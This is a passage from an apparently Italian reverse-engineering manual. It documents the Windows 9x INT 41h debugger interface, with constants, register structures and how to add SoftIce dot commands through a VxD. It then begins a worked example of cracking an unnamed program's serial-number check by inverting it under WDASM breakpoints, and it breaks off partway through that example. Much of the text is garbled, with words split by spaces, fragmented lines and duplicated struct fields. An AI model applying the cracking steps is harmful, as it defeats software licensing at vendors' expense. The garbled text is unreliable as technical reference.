DS_I sAut oLoadSym EQU 48H
DS_DebLoaded EQU 4FH
DS_DebPr esent EQU 0F386H
DS_LoadSeg EQU 50H
DS_LoadSeg_32 EQU 0150H
DS_MoveSeg EQU 51H
DS_Fr eeSeg EQU 52H
DS_Fr eeSeg_32 EQU 0152H
DS_DGH EQU 56H
DS_DFL EQU 57H
DS_DLL EQU 58H
DS_St ar t Task EQU 59H
DS_Ker nel _Var s EQU 5aH
DS_VCPI _Not i f y EQU 5bH
DS_Rel easeSeg EQU 5cH
DS_User _Var s EQU 5dH
DS_POSTLOAD EQU 60H
DS_EXI TCALL EQU 62H
Pagina 381 di 991
DS_I NT2 EQU 63H
DS_LOADDLL EQU 64H
DS_DELMODULE EQU 65H
DS_LOGERROR EQU 66H
DS_LOGPARAMERROR EQU 67H
DS_RI N EQU 09H
DS_BANKLI NE EQU 0AH
DS_NEWTASK EQU 0BH
DS_FLUSHTASK EQU 0CH
DS_SWI TCHOUT EQU 0DH
DS_SWI TCHI N EQU 0EH
DS_I nt Ri ngs EQU 20H
DS_I ncl udeSegs EQU 21H
MaxDebugSegs EQU 20
DS_CondBP EQU 0F001H
DS_For cedBP EQU 0F002H
DS_For cedGO EQU 0F003H
DS_Har dI NT1 EQU 0F004H
DS_Out _Symbol EQU 0FH
DS_Di sasm_I ns EQU 10H
DS_J umpTabl eSt ar t EQU 70H
DS_Regi st er Dot Command EQU 70H
DS_Regi st er Dot Command16 EQU 71H
DS_DeRegi st er Dot Command EQU 72H
DS_Pr i nt f EQU 73H
DS_Pr i nt f 16 EQU 74H
DS_Get Regi st er Set EQU 75H
DS_Set Al t er nat eRegi st er Set EQU 76H
DS_Get CommandLi neChar EQU 77H
DS_Eval uat eExpr essi on EQU 78H
DS_Ver i f yMemor y EQU 79H
DS_Pr i nt Regi st er s EQU 7aH
DS_Pr i nt St ackDump EQU 7bH
DS_Set Thr eadI D EQU 7cH
DS_ExecDebugCommand EQU 7dH
DS_Get Debugger I nf o EQU 7eH
DS_CheckFaul t EQU 7f H
DS_Set Br eak EQU 80H
DS_Redi r ect Exec EQU 81H
DS_PassOnDebugCommand EQU 82H
DS_Tr apFaul t EQU 83H
DS_Set St ackTr aceCal l Back EQU 84H
DS_RemoveSegs EQU 85H
DS_Def i neDebugSegs EQU 86H
DS_Set BaudRat e EQU 87H
DS_Set ComPor t EQU 88H
DS_ChangeTaskNum EQU 89H
DS_Exi t Cl eanup EQU 8aH
DS_I nst al l VGAHandl er EQU 8bH
DS_Get ComBase EQU 8cH
DS_Get Symbol EQU 8dH
DS_CopyMem EQU 8eH
i f def WDEB98
DS_Set BaudRat eEx EQU 8f H
DS_Reser ved0 EQU 90H
DS_Reser ved1 EQU 91H
DS_Reser ved2 EQU 92H
DS_Reser ved3 EQU 93H
DS_Reser ved4 EQU 94H
DS_Reser ved5 EQU 95H
DS_Reser ved6 EQU 96H
DS_Reser ved7 EQU 97H
DS_Reser ved8 EQU 98H
DS_Reser ved9 EQU 99H
DS_Reser ved10 EQU 9AH
DS_Reser ved11 EQU 9BH
DS_Reser ved12 EQU 9CH
DS_Reser ved13 EQU 9DH
DS_Reser ved14 EQU 9EH
DS_Reser ved15 EQU 9FH
DS_I nst al l VxDThunk EQU 0A0H
DS_ThunkDownTo16 EQU 0A1H
DS_J umpTabl eEnd EQU 0A1H
el se
DS_J umpTabl eEnd EQU 8eH
endi f

SaveRegs_St r uc STRUC
Debug_EAX DD ?
Debug_EBX DD ?
Debug_ECX DD ?
Debug_EDX DD ?
Debug_ESP DD ?
Debug_EBP DD ?
Debug_ESI DD ?
Debug_EDI DD ?
Debug_ES DW ?
Debug_SS DW ?
Debug_DS DW ?
Debug_FS DW ?
Debug_GS DW ?
Debug_EI P DD ?
Debug_CS DW ?
dwReser ved DD ?
Debug_EFl ags DD ?
Debug_CR0 DD ?
Debug_GDT DB SI ZE QWORD DUP ( ?)
Debug_I DT DB SI ZE QWORD DUP ( ?)
Debug_LDT DW ?
Debug_TR DW ?
Debug_CR2 DD ?
Debug_CR3 DD ?
Debug_DR0 DD ?
Debug_DR1 DD ?
Debug_DR2 DD ?
Debug_DR3 DD ?
Debug_DR6 DD ?
Debug_DR7 DD ?
Debug_DR7_2 DD ?
Debug_TR6 DD ?
Debug_TR7 DD ?
Debug_Tr apNumber DW ?
Debug_Er r or Code DW ?
SaveRegs_St r uc ENDS
DebI nf oBuf STRUC
DI B_Maj or Ver si on DB ?
DI B_Mi nor Ver si on DB ?
DI B_Revi si on DB ?
DI B_Reser ved DB ?
DI B_DebugTr ap16 DD ?
DI B_DebugTr ap32 DF ?
DI B_DebugBr eak16 DD ?
DI B_DebugBr eak32 DF ?
DI B_DebugCt r l C16 DD ?
DI B_DebugCt r l C32 DF ?
DebI nf oBuf ENDS


Br eakSt r uc STRUC
BS_Br eakEI P DD ?
BS_Br eakCS DW ?
BS_Br eakESP DD ?
BS_Br eakSS DW ?
Br eakSt r uc ENDS
Redi r ect ExecSt r uc STRUC
RDE_f pbuf DebugCommand DF ?
RDE_cbDebugCommand DW ?
RDE_f pszI nput DF ?
RDE_usFl ags DW ?
RDE_cbOut put DD ?
Pagina 382 di 991
RDE_f pbuf Out put DF ?
Redi r ect ExecSt r uc ENDS

REPEAT_FOREVER_CHAR EQU 0f eH

Addr S STRUC
Addr Of f DD ?
Addr Seg DW ?
Addr Type DB ?
Addr Si ze DB ?
Addr Task DW ?
Addr S ENDS
EXPR_TYPE_SEG EQU 0001H
EXPR_TYPE_SEL EQU 0009H
EXPR_TYPE_LI N EQU 0002H
EXPR_TYPE_PHY EQU 000AH
EXPR_TYPE_LOG EQU 0008H
EXPR_TYPE_MOD EQU 000BH
DEBUG_FAULT_TYPE_V86 EQU 0001H
DEBUG_FAULT_TYPE_PMEQU 0002H
DEBUG_FAULT_TYPE_RI NG0 EQU 0004H
DEBUG_FAULT_TYPE_FI RST EQU 0008H
DEBUG_FAULT_TYPE_LAST EQU 0010H
Wi n386_Quer y_I nt EQU 22H
Wi n386_Al i ve EQU 0
Wi n386_Q_Ack EQU 0F386H
Wi n386_Quer y EQU 1
Wi n386_PhysToLi nr EQU 2
Wi n386_Addr Val i d EQU 3
Wi n386_MapVM EQU 4
Wi n386_UnmapVM EQU 5
Wi n386_Get DLAddr EQU 6
Wi n386_Get VXDName EQU 7
Wi n386_Get PDE EQU 8
Wi n386_Get Fr ame EQU 9
Wi n386_Get LDTAddr ess EQU 10
Wi n386_Get Thr eadI D EQU 11
Wi n386_Get TSHandl er EQU 12
Wi n386_Get Ar pl Handl er EQU 13
Max_Wi n386_Ser vi ces EQU 13
endi f
Pagina 383 di 991

I l si st ema or i gi nar i ament e er a st at o di segnat o per i l debugger WDEB386 del l a
Mi cr osof t .
La t eor i a l egat a al f at t o di cr ear e comandi che dovr anno esser e i nser i t i i n
Sof t I ce medi ant e un punt o pr ecedent e al comando st esso ( . comando xxx) .
I devi ces dr i ver vi r t ual i vengono r i f er i t i con i l t er mi ne VXD i qual i sono i n
f or ma gener al e dei f i l e esegui bi l i a 32 bi t s i qual i possi edono i l pi al t o
pr i vi l egi o possi bi l e nel r i ng0.
I l di scor so dei var i r i ngx r el at i vo al si st ema di gest i one del si st ema
oper at i vo, ovver o un met odo i nt er no al l OS di cui vedr emo qual che cosa
par l ando come ar goment o del si st ema di Sof t I ce per l i nt er cet t azi one dei f aul t s.
I l t i po di esegui bi l e non PE ma LE ( l i near execut abl e) ovver o un vecchi o t i po
di esegui bi l e.
Ul t i mament e l a l or o i mpor t anza di vent at a not evol e t ant o che l a Mi cr osof t ha
aggi unt o al possi bi l i t di l egger e di nami cament e quest i f i l e.
I n passat o veni vano usat i sol t ant o per cr ear e devi ce vi r t ual i di per i f er i che
har dwar e ment r e ai nost r i gi or ni t r ovi amo t ant e per t i di codi ce i nser i t e i n
quest i f i l e al f i ne di vel oci zzar e l esecuzi one oppur e per guadagnar e l accesso
a r i sor se di si st ema r i ser vat e.
L i nt er f acci a del debugger i n modo pr ot et t o sot t o Wi ndows 95 o super i or e
f or ni sce un met odo mol t o sempl i ce per per met t er e i l col l oqui o t r a DLL a 32 bi t s,
VXD e i l si st ema.
I n Wi n95 quest o si st ema accessi bi l e t r ami t e l I NT41h.
Tr a l e al t r o cose l i nt er f acci a del l i nt 41h per met t e a un VXD di f or ni r e del l e
r out i nes speci f i che di debug l e qual i possono esser e chi amat e dal l a consol e di
debug.
I n t eor i a qual si asi debugger a l i vel l o di si st ema pu esser e est eso i n quest o
modo.
Quest o va det t o con caut el a vi st o che non t ut t e l e f unzi oni f or ni t e dal l i nt 41h
sono i mpl ement at e dal vost r o debugger .
Sof t I ce, t ant o bene quant o i l Wi nDbg di Mi cr osof t l e suppor t a anche se di f at t o
non pu gar ant i r e nul l a i n quant o quest e est ensi oni sono i mpl ement at e nel VMM i l
qual e non par t e di Sof t I ce.
I nol t r e l e est ensi oni . punt o non possono esegui r e cont r ol l i l egat i agl i er r or i e
t ant omeno saper e qual i pot r ebber o esser e l e necessi t di si st ema.
L i nol t r o di un comando . punt o i n un moment o non i doneo pot r ebbe cr ear e un cr ash
di si st ema.
Comunque r i t or ni amo al met odo per i mpl ement ar e del l e est ensi oni a Sof t I ce.
Come di cevamo pr i ma i l modo appunt o quel l o di usar e i l punt o i nnanzi al
comando come most r at o pr i ma.
Andando sot t o Sof t I ce e di gi t ando

. vmm

avr emo most r at a una f i nest r a con un menu compost o da di ver se opzi oni di debug l e
qual i non sono par t e di Sof t I ce ma i mpl ement at e t r ami t e vmm. vxd ( Vi r t ual Machi ne
Manager ) .
Quando i nvi amo o di gi t i amo un comando . VXDnome i l si st ema i nvi a un messaggi o
Debug_Quer y al l o speci f i co devi ce vi r t ual e.
Se l a pr ocedur a di Cont r ol Di spat ch del VXD di t r aget suppor t a un handl er per
quest o messaggi o al l or a i l cont r ol l o gl i vi ene passat o.
La pr ocedur a per l a gest i one del messaggi o di Debug_Quer y deve r i si eder e i n un
segment o l ocked ( ovver o bl occat o e non scar i cabi l e su di sco neppur e dal l a
gest i one cache) .
Se f osse dent r o ad un pageabl e code- segment i l vost r o si st ema pot r ebbe sganci ar e
l a pr ocedur a se quest a f osse r esi dent e, i n quel moment o, su di sco come pagi na
scar i cat a dal l a memor i a.
Ent r ando nuovament e i n Sof t I ce e di gi t ando

. my

Pagina 384 di 991
Qui ent r er ebbe i n bal l o un di scor so r el at i vo al l e ver si oni a di sposi zi one del
si st ema oper at i vo i n base al f at t o che di sponi at e di una ver si one compi l at a di
debug o una nor mal e di commer ci al i zzazi one.
Quest o di scor so l egat o al f at t o che sot t o l a ver si one di debug esi st ono al cuni
VXD i n pi r i spet t o al l al t r a ver si one.
I n ogni caso dovr est e aver e a vi deo i l r ange del l a vost r a memor i a val i da.
A quest o punt o i mpor t ant e conoscer e come i l debugger chi ama quest o codi ce e
come r i esce ad aver e i l i mi t i val i di del l a memor i a f i si ca.
I mpl ement ar e un comando punt o ( dot ) come i mpor r e una cer t a ar chi t et t ur a al
ser ver VXD.
I n quest o caso i l comando sar ebbe . M e non . MY.
I l successi vo Y sar ebbe un par amet r o passat o al handl er con quest o comando.
Quando i l ser ver VXD st a i ni zi al i zzando l a sua i nt er f acci a di debug deve
r i chi amar e una f unzi one chi amat a Regi st er Dot Command ( I NT 41h - ser vi zi o 70h
AX=70h) per r ehgi st r ar e i l comando i n quest i one nel si st ema di debugger .
Fondament al ment e r egi st r ar e un comando dot f or ni sce al si st ema di debugger un
ent r y poi nt con i l qual e pu esser e chi amat o quando vi ene i nvi at o un t al e
comando.
Per veder e qual i comandi dot sono r egi st r at i suf f i ci ent e i nvi ar e un comando :

. ?

Come di cevamo pr i ma l i nt er f acci a API r el at i va al pr ot ect mode debuger
i mpl ement at a t r ami t e I NT41h.
Quest o i nt er r upt chi ama i l debugger di si st ema t r ami t e un gat e del l i nt er r upt a
32 bi t s, di r et t ament e per esegui r e var i e f unzi oni .
Quest a i nt er f acci a par zi al ment e non document at a ( nel capi t ol o ASSEMBLER
usat o dent r o al pr ogr amma MAP) .
La l i st a che segue most r a l e f unzi oni del l I NT 41h pi ut i l i zzat e :


AX=00h -- Display character on debug terminal
entry :
AL = character to display


AX=01h -- Read character from debug terminal
returns:
AL = readed char


AX=02h -- Displays a string on debug terminal
entry:
DS:ESI pointer to null terminated string to display

AX=12h -- Displays a string on debug terminal (called by 16 bit code )

entry:
DS:SI pointer to null terminated string to display

AX=40h -- Run debugee until specified CS:IP is reached

entry :
CX = desired CS
BX = desires IP


AX=70h -- Register dot command (32 bit code )
entry:
BL = dot command to register
ESI = linear address of the handler routine
EDI = linear address of the help text

Pagina 385 di 991
returns:
AX == 0 if successful
AX != 0 if registration failed


AX=71h -- Register dot command (called by 16 bit code )
entry:
BL = dot command to register
CX:SI = linear address of the handler routine

DX:DI = linear address of the help text
returns:
AX == 0 if successful
AX != 0 if registration failed


AX=72h -- Unregister dot command (unregister dot commands registered
by both 70h & 71h)
entry:

BL = dot command to de-register



AX=73h -- Debug prinf ( C like printf function >> output on debugger terminal
) 32 bit

entry:
DS:ESI = address of format string

DS:EDI = address of first parameter passed ( all parameter are DWORD's )
returns:
EAX = nr. of characters printed on debug terminal


AX=74h -- Debug printf (C like printf function >> out on debugger terminal)
16 bit

entry:
DS:SI = address of format string

ES:DI = address of the start of the word or dword arguments
returns:

AX = nr of chars outputed


AX=75h -- Get Register Set
entry :
DS:ESI = address of a SaveRegs_Struc type structure


AX=76h -- Set Alternate Register Set

entry:
CX = thread ID (0 for current thread)

DS:ESI = address of a SaveRegs_Struc type structure



AX=77h -- Get Command Line Chararacter

Pagina 386 di 991
entry:
BL = 0 -> get char , text pointer not incremented , leading space not
ignored
= 1 -> get char , increment text pointer , leading blank is skipped

= 2 -? get char , text pointer not incremented ,leading blank is skipped

exit:
AL = command line character retrieved
AH = 0 if EOL encountered , !0 if more characters await parsing


AX=78h -- Evaluate Expression

entry:
ds:esi expression to evaluate


returns:

AX: -> 0, returns a data value
-> !0 returns a linear address

CX = TID
EBX = evaluated value


AX=79h -- Verify Memory
entry:

ECX = length of memory region
DS:ESI = starting address of memory to verify


returns:

AX: -> 0 OK
-> !0 memory range is invalid


AX=7A -- Directs debugger to dump current registers


AX=7b -- Directs debugger to perform a stack dump
entry:

BX: -> 01h - verbose stack dump
-> 02h - 16 bit stack dump

-> 04h - 32 bit stack dump



AX=7dh -- Execute Debugger Command

entry:
DS:ESI = pointer to the command script
CX = size in bytes of script


Alcune strutture:


Pagina 387 di 991
SaveRegs_Struc struc
Debug_EAX dd ?
Debug_EBX dd ?

Debug_ECX dd ?
Debug_EDX dd ?

Debug_ESP dd ?
Debug_EBP dd ?

Debug_ESI dd ?
Debug_EDI dd ?

Debug_ES dw ?
Debug_SS dw ?

Debug_DS dw ?
Debug_FS dw ?
Debug_GS dw ?

Debug_EIP dd ?
Debug_CS dw ?

dd ?
Debug_EFlags dd ?

Debug_CR0 dd ?
Debug_GDT dq ?

Debug_IDT dq ?
Debug_LDT dw ?

Debug_TR dw ?
Debug_CR2 dd ?
Debug_CR3 dd ?

Debug_DR0 dd ?
Debug_DR1 dd ?

Debug_DR2 dd ?
Debug_DR3 dd ?

Debug_DR6 dd ?
Debug_DR7 dd ?

Debug_DR7_2 dd ?
Debug_TR6 dd ?

Debug_TR7 dd ?
Debug_TrapNumber dw -1

Debug_TrapNumber dw -1

Debug_ErrorCode dw 0
SaveRegs_Struc ends


Ci sono al t r e f unzi oni i mpl ement at e t r ami t e i nt 41h ma sono pi compl esse e
quest o non ml uogo per cr ear e un capi t ol o r el at i vo a quest e.
Se desi der at e apppr of ondi r e l ar goment o guar dat e nel DDK.
Per i mpl ement ar e quest e est ensi oni a Sof t I ce si deve scegl i er e i n nqual e
l i nguaggi o scr i ver l e.
Le scel t e cadono t r a l assembl er e i l C/ C++.
Pagina 388 di 991
Nel secondo caso convi ene pr ocur ar si qual che t ool dest i nat o al l a scr i t t ur a dei
devi ce dr i ver ( Vt ool s - Vi r eo Sof t war e) .
E anche possi bi l e scegl i er e di scr i ver l o i nt er ament e i n assembl er .
Per pr i ma cosa bi sogna pr ocur ar si un devi ce I D uni co anche se quest o non
obbl i gat or i o ma ser ve a f ar e i n modo che i l VXD non venga nuovament e r i l et t o se
gi pr esent e i n memor i a.
L or di ne di l et t ur a non i mpor t a nche se si deve consi der ar e nel caso i n cui
vengano ut i l i zzat e nel vost r o VXD par t i scr i t t e da al t r i .
Le uni che par t i che devono esser e l et t e pr i ma del nost r o modul o sono i l VMM e i l
DebugDevi ce.
I nol t r e nomn sono r i chi est e pr ecauzi oni par t i col ar i f i no a che i l vmm. vxd e i l
DebugDevi ce possi edono I ni t _Or der ugual e e 0.
Quest o val or e speci f i ca che i l VMM deve par t i r e l eggendo i VXD par t endo con i l
val or e pi basso per gi unger e al val or e UNDEFI NED_I NI T_ORDER come ul t i mo.
I n quest o modo sempl i cement e speci f i cando UNDEFI NED_I NI T_ORDER t ut t o sar OK.
La successi va cosa ver ament e i mpor t ant e l a pr ocedur a del Vi r t ual Devi ce' s
cont r ol .
Dovr et e sempr e i nser i r e quest a pr ocedur a i n un segment o BLOCCATO ( l ocked) .
Quest a r out i ne una f unzi one cal l back l a qual e r i sponde ai messaggi i nvi at i da
VMM e di r et t i ai VXD i qual i pr endono l e appr opr i at e mi sur e di r i spost a.
Spesso quest a r out i ne passa mer ament e i l cont r ol l o al vcodi ce ut ent e
r esponsabi l e di gest i r e i l messaggi o.
Ri cor dat evi che se avvi ene i l r i t or no con i l CARRY FLAG set t at o dal vost r o
handl er si gni f i ca che avvenut o un er r or e ment r e un CARRY FLAG pul i t o i ndi ca
che t ut t o andat o per i l ver so gi ust o.
Un debug hel per VxD deve gest i r e al mi ni mo due messaggi
Quest e sono Devi ce_I ni t e Debug_Quer y.
Se avet e i n pr oget t o di scr i ver e i l vost r o VXD come un Dynami c l oadabl e devi ce
dr i ver l a pr ocedur a di cont r ol l o dovr gest i r e al t r i due messaggi e pr eci sament e
Sys_Dynami c_Devi ce_I ni t e Sys_Dynami c_Devi ce_Exi t .
I n al cuni casi dovr esser e pr ocessat o anche i l messaggi o W32_Devi ceI ocont r ol .

message and wr i t e an appr opr i at e handl er t o di spat ch cont r ol t o your
pr ocedur es. Pl ease not e
Qundo esegui t e l a compi l azi one con i l MASM dovet e mant ener e i l l i vel l o di debug
ad al meno UNO ( par l o del Fl ag di compi l azi one) per f ar e i n modo che non vengano
el i mi nat e cer t e macr o di debug def i ni t e i n VMM. I NC.
Se i l vost r o devi ce di spone di un handl er per i l messaggi o Debug_Quer y,
di gi t ando un comendo DOT segui t o dal nome del VXD quest o ver r pr ocessat o.
Per ut i l i zzar e i l t i po due dei comandi a punt o sar necessar i o i nf or mar e i l
debugger sul l a sua esi st enza.
I l mi gl i or post o per f ar e quest o dent r o al l handl er per i l messaggi o di
Devi ce_I ni t .
Pr i ma di pr ovar e a r egi st r ar e un comando punt o dovr et e esser e si cur i che i l
debugger si a pr esent e.
I nvi ando un I NT 41h senza un debugger car i cat o si cr ea un er r or e di pr ot ezi one
( pr ot ect i on f aul t s) .
Se una pr ot ect i on f aul t capi t a dent r o a un messaggi o Devi ce_I ni t pr esent e i n un
devi ce l et t o st at i cament e, non sol o i l car i cament o del l o st esso non ar r i va a
buon f i ne ma anche l i ni zi al i zzazi one di Wi n 9x non pot r pr osegui r e.
Quest o spesso cr ea gr avi pr obl emi che necessi t ano successi vament e del l uso di
Wi ndows i n modo di pr ova.
I l met odo pi sempl i ce per veder e se i l debugger i n uso quel l o di usar e
Test _Debug_I nst al l ed f or ni t o da vmm( VxdCal l Test _Debug_I nst al l ed) .
Quest o t or ner con l o zer o f l ag cancel l at o se i l debugger pr esent e.
Se ZF ( zer o f l ag) set t aqt o al l or a i l debugger non pr esent e.
Se quest o ver o, ovver o i l debugger non pr esent e, non dovr et e car i car e i l
VXD.
Voi dovr et e sempl i cement e f ar e quest o r i t or nando con i l CF set t at o dal
messaggi o Devi ce_I ni t message , i nf or mando l a vi r t ual machi ne manager che l a
pr ocedur a di i ni zi al i zzazi one f al l i t a.
Quando i nvece sar et e si cur i che i l debugger pr esent e i n memor i a pot r et e
r egi st r ar e i var i comandi punt o.
Pagina 389 di 991
Quest o vi ene esegui t o chi amando I NT 41h con AX = 70h.
Gl i al t r i r egi st r i vengono set t at i con :

BL = comando punt o da r egi st r ar e. ( Esempi o: mov bl , Z per di r e che i l comando
. Z)
ESI = i ndi r i zzo del l a r out i ne di gest i one.
EDI = I ndi r i zzo del l a st r i nga di hel p t er mi nat a con CR.

Le seguent i sono r est r i zi oni appl i cabi l i al l handl er :

1. L handl er deve r i si eder e nel l o st esso st ack usat o quando vi ene chi amat o
I nt 41h

2. L handl er non deve cambi ar e CS , DS , e pr ovar e ad acceder e a i ndi r i zzi di
memor i a non val i di .

3. L handl er deve gi r ar e sul r i ng0.

Dopo aver r egi st r at o t al i comandi punt o pot r et e acceder e al l e l or o f unzi oni dal
debugger .
Se non l o desi der at e pi dovr et e der egi st r ar l o.
Se i l vost r o VXD l et t o st at i cament e non esi st e modo per der egi st r ar e i comendi
punt o che dovr anno esser e pr esent i si no al l a f ne di Wi n9x.
Se i l VXD l et t o di nami cament e ed ad un cer t o punt o l o scar i cat e dal l a memor i a
senza der egi st r ar e i comandi punt o pot r ebbe capi t ar e che se quest i veni sser o
r i chi amat i i modul i esegui t e sar ebber o dent r o al l a spazzat ur a ( i l VXD st at o
scaqr i cat o e t ol t o dal l a memor i a) con ef f et t i non descr i vi bi l i .

La f unzi one di der egi st r azi one vi ene esegui t a con l a f unzi one 72h del l I NT 41h
Con BL cont enent e i l comando de der egi st r ae.
Una buona scel t a di i nser i r e quest o dent r o al l handl er per i l
Sys_Dynami c_Devi ce_Exi t .
Fi no a quando si st pr ocessando un comando punt o o un messaggi o Debug_Quer y
message non buona i dea cer car e di l asci ar e Sof t I ce pr emendo i t ast i def i ni t i .
Quest o r eset t er ebbe anche l a macchi na i nt er a.
Quando i l debugger chi ama l handl er devr ebbe set t ar e DS e CS con un f l at
sel ect or .
Nor mal ment e CS dovr ebbe esser e 28h.
Quest o l egge anche i l pr i mo car at t er e del comando nel r egi st r o AL.
La r out i ne deve esegui r e un r et ur n FAR vi st o che si cur ament e i l debugger , dal
qual e deve t or nar e, r i si eder i n un al t r o segment o.
Ol val or e r est i t ui t o da AX pu esser e 0 ( OK) o qual si asi al t r o val or e per
i ndi car e un' al t r a condi zi one.

. The f i r st t hi ng you shoul d do af t er ent er i ng

your handl er i s t o par se t he command l i ne. Thi s can be accompl i shed by usi ng
I NT 41h , AX=77h
( Get command l i ne char act er ) . A poi nt er t o t he cur r ent char act er i n command
l i ne i s

mai nt ai ned by t he debugger . The val ue speci f i ed i n BL r egi st er choose how t hi s
poi nt er
i s managed. Al so t he f l ag speci f i ed i n BL set s t he way i n whi ch one or mor e
bl ank spaces ar e

t r eat ed. They can be i gnor ed , t he poi nt er val ue wi l l be updat ed t o t he next
val i d char act er
i n t he command l i ne or you can choose t o par se t hemas wel l . The Get CommandLi ne
f unct i on wi l l

r et ur n wi t h AH set t o 0 i f end of l i ne was encount er ed , and a val ue ! 0
ot her wi se. The
Pagina 390 di 991
command l i ne char act er i s r et r i eved i n AL.
Not much t hi ngs l ef t t o say. I t ' s up t o you i n whi ch way you wi l l used t he
f aci l i t i es

pr esent ed her e. Your code r uns on r i ng 0 , so you can do j ust about anyt hi ng
you i magi ne. The

onl y t hi ng I want t o say i s t hat you shoul d t ake car e about what you ar e
doi ng. Pr ogr ammi ng
i n r i ng0 r equi r es a ver y ser i ous under st andi ng of pr ot ect i on mechani sm, page-
mode memor y
management , x86 i nt er nal ar chi t ect ur e and t he way i n whi ch Wi ndows' 95 vi r t ual
memor y manager

manages t hose f aci l i t i es. Remember , you have absol ut e power but usi ng i t i n a
wr ong way can
cause your machi ne t o hang , and you can cause l oose of dat a f r om your har d
dr i ves. Fai r war ni ng!





Chapt er 5: The sampl e: i cecmd. vxd

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



Accompanyi ng t hi s ar t i cl e t her e i s a sampl e VxD who empl oyees most of t he
t echni ques
descr i bed i n t he per vi ous chapt er . The VxD does not pr ovi de any r eal
f unct i onal i t y , i t i s

i nt ended onl y f or di dact i c pur poses. I t i mpl ement s a new dot command . Z and a
DebugQuer y
handl er r out i ne. The sampl e dot command . Zs wi l l dump t he st ack t r ace on t he
debug consol e.

You can accompl i sh same t hi ng i ssui ng STACK command i n Sof t - I ce. I t al so show
you ver y
basi c command l i ne par si ng. The VxD i s i mpl ement ed as a st at i c VxD. I t al so
pr esent a mechani sm

i n whi ch a VxD can det ect i f i t was pr evi ousl y l oaded , pr event i ng mul t i pl e
i nst ances. Si nce
t he code i s comment ed I wi l l not i nsi st i n pr esent i ng i t once agai n i nsi de t he
ar t i cl e. Read

t he sour ce code , I t r yed t o keep t hi ngs easy t o under st and.
The onl y t hi ng unexpl ai ned i s t he code what pr event s t he VxD bei ng l oaded
t wi ce.

Thi s code r esi des i n VxD_REAL_I NI T_SEG code segment . Thi s code i s aut o cal l ed
at t he t i me when
t he syst em i s st i l l i n r eal mode and t he Vi r t ual Devi ce Dr i ver s ar e
l oaded. When t he syst em
r each t hi s ent r ypoi nt t he BX r egi st er cont ai n a val ue t hat i ndi cat es i f t he
devi ce i s al r eady

l oaded or not . The met hod r equi r es a uni que devi ce I d. To al l ow l oadi ng you must
exi t wi t h
AX set t o a cer t ai n val ue , as shown bel ow.
Pagina 391 di 991


Abor t _Devi ce_Load - - t el l s t o VMM t hat t hi s VxD shoul d not be l oaded

Abor t _Wi n386_Load - - t el l s t o VMM t o end Wi ndows l oadi ng ( WI N 95 i t sel f wi l l
f ai l l oadi ng i f t hi s val ue i s passed t o AX

Devi ce_Load_Ok - - t el l s t o VMM t hat al i s OK , devi ce can be l oaded
No_Fai l _Message - - use wi t h Abor t _Devi ce_Load and
Abor t _Devi ce_Load. I nst r uct s

t he VMM t o not di spl ay an er r or message. I f not speci f i ed
t he VMM wi l l pr i nt an er r or message on scr een.


Al so , you must r et ur n wi t h BX , EDX , SI r egi st er s set t o t he f ol owi ng
val ues:


BX - - - must cont ai n a poi nt er t o a nul l t er mi nat ed page ar r ay t abl e
cont ai ni ng t he physi cal pages r eser ved f or VxD own use. Val i d adr ess

r anges ar e 0 t o 100h. ( That ' s i t t he t abl e must r esi de i n ver y l ow
memor y.

MUST be set t o 0 i f no pages ar e r eser ved


SI - - must cont ai n a poi nt er t o a nul l t er mi nat ed ar ea of dat a i t ems
MUST be set t o 0 i f t her e ar e no speci f i c i nst ance obj ect s.


EDX - - cont ai n a val ue who i t i s passed t o t he pr ot ect ed mode pr ocedur e

what i s t he handl er f or Sys_Cr i t i cal _I ni t message br oadcast ed
by VMM. Thi s val ue i s r e- l oaded i n EDX j ust bef or e t he pr ot ect ed mode
i ni t pr ocedur e i s cal l ed

Usual y set t o 0 , but i t wi l l not har manyt hi ng i f cont ai n ot her
val ues. ( Thi s i s because i t ' s up t o you i f t he handl er f or

Sys_Cr i t i cal _I ni t wi l l use i t or no)


Thi s i s not my cr eat i on , i ve l ear ned t hi s f r omW. Oney' s code.


Downl oad i cecmd. zi p & sour ce code






Chapt er 6: Movi ng t o r i ng 3
- - - - - - - - - - - - - - - - - - - - - - - - - - -




Par t of t he Pr ot ect ed Mode Debug API i s avai l abl e al so on r i ng3. I n f act ,
some
Pagina 392 di 991
f unct i ons f r omWI N32 API l i ke Out put DebugSt r i ng r el ays on I NT 41h t o car r y out
t he j ob.

Thi s opens mor e i nt er est i ng possi bi l i t i es , si nce you can wr i t e r i ng3 pr ogr ams
t hat
i nt er act s wi t h a syst emdebugger , r et r i evi ng i nf o f r omi t and i nst r uct i ng i t
t o car r y

out var i ous act i ons.
Not e t hat not ent i r e API i s di sponi bl e on r i ng3. Gener al l y, exper i ment i ng
won' t
har mas l ong as you ar e sur e t hat a syst emdebugger i s i nst al l ed.





Pagina 393 di 991
ESEMPI


ESEMPIO 1

Per i ni zi ar e pr endi amo un esempi o sempl i ce i n cui non t ent er emo neppur e di
capi r e l a l ogi ca di codi f i ca del numer o ser i al e ma sempl i cement e modi f i cher emo
i l f l usso f acendo i n modo che r i sponda al l a seguent e l ogi ca :

CHIEDI IL NUMERO SERIALE
SE SBAGLIATO RINGRAZIA PER LA REGISTRAZIONE

I n pr at i ca i nver t i r emo i l
cont r ol l o f at t o.
Non r i por t er i l nome del
pr ogr amma pr eso come t ar get
per non ent r ar e
nel l i l l egal i t .
L i nt er essant e comunque non
i l pr ogr amma ma l e t ecni che.
Car i chi amo con WDASM i l
pr ogr amma e successi vament e
usando l opzi one di menu LOAD
PROCESS sot t o l a voce DEBUG
esegui amo l a l et t ur a.
I l pul sant e I MP FN most r a l e
f unzi oni i mpor t at e che i n
quest o caso denot ano che
t r at t asi di un pr ogr amma i n
vi sual Basi c.
La r i chi est a del
numer o di ser i e
avvi ene medi ant e una
di al og d i nput .
Tr a l e f unzi oni
i mpor t at e ne esi st e
una, chi amat a :

MSVBVM60.rtcInputBox

Eseguendo un doppi o
cl i ck WDASM ci
posi zi oner nei
punt i dove vi ene
chi amat a l a
f unzi one.
Senza i mpazzi r e a
cer car e di capi r e a
pr i or i i n qual e
punt o l a chi amat a
gi ust a posi zi oner emo
un br eakpoi nt i n
ci ascuno most r at o.
A quest o punt o mando i n esecuzi one i l
pr ogr amma i n at t esa che quest o si f er mi ad
un br eakpoi nt .
Compar e l a mascher a nel l a qual e i nser i sco
un val or e casual e ( 1234567890) .
I l punt o i n cui si f er ma i l codi ce most r a
l e seguent i l i nee di pr ogr amma.


Pagina 394 di 991
* Reference To: MSVBVM60.rtcInputBox, Ord:0254h
|
